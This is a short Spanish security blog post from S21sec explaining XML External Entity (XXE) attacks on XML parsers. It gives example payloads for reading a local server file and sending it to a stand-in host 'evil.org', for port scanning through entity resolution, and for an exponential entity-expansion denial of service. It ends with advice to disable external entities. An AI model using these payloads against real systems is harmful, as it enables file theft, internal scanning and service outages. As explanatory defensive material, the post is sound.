< !ENTITY s21 "Grupo S21sec Gestión ">
Menos conocida es la posibilidad de insertar contenido de elementos externos, por ejemplo:
< !ENTITY midoc SYSTEM "http://www.s21sec.com /midoc.xml">< !ENTITY arch SYSTEM "arch.txt">
El problema aparece cuando el parser que trata los datos de entrada XML procesa sin ninguna restricción elementos como los anteriores descritos. Es entonces cuando podemos utilizar esta técnica, que comúnmente recibe el nombre de “Ataques XXE (XML eXternal Entity)”, para atacar al servidor que procesa el documento XML.
Lectura de ficheros arbitrarios: Se trata sencillamente de definir una entidad que expanda el contenido de un fichero local del servidor. Aún así, notar que el parser XML espera un documento con cierto formato y existen restricciones en los tipos de ficheros aceptados por el parser a no ser que se indique explícitamente que no tienen formato. Ejemplo:
< !DOCTYPE doc [ < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">]>
Escaneo de puertos: Se trata de definir entidades externas que el servidor deba resolver para insertar su contenido en el documento.
< !DOCTYPE scan [ < !ENTITY s21sec SYSTEM "http://1.1.1.1:21/">]>
Existe un documento excelente detallando esta técnica de Colin Wong de SIFT.
Ataques de denegación de servicio: Otro ataque que nos permiten las entidades externas es hacer referencia a una entidad cuyo contenido implique un procesamiento exponencial por parte del parser XML. Por ejemplo, un parser vulnerable requerirá
grandes cantidades de memoria para expandir la siguiente entidad:
< !DOCTYPE SOAP-ENV:Envelope [ < !ENTITY x0 "s21sec">< !ENTITY x1 "&x0&x0">< !ENTITY x2 "&x1&x1">...< !ENTITY x100 "&x99&x99">]>
Para prevenir todos estos ataques hemos de indicar al parser XML que no procese entidades externas, la implementación de esta restricción dependerá en gran medida del parser que utilicemos.
Javier Méndez Navarro
S21sec Auditoría
Fuente: S21Sec

Read the rest here:
Ataques contra parsers XML |
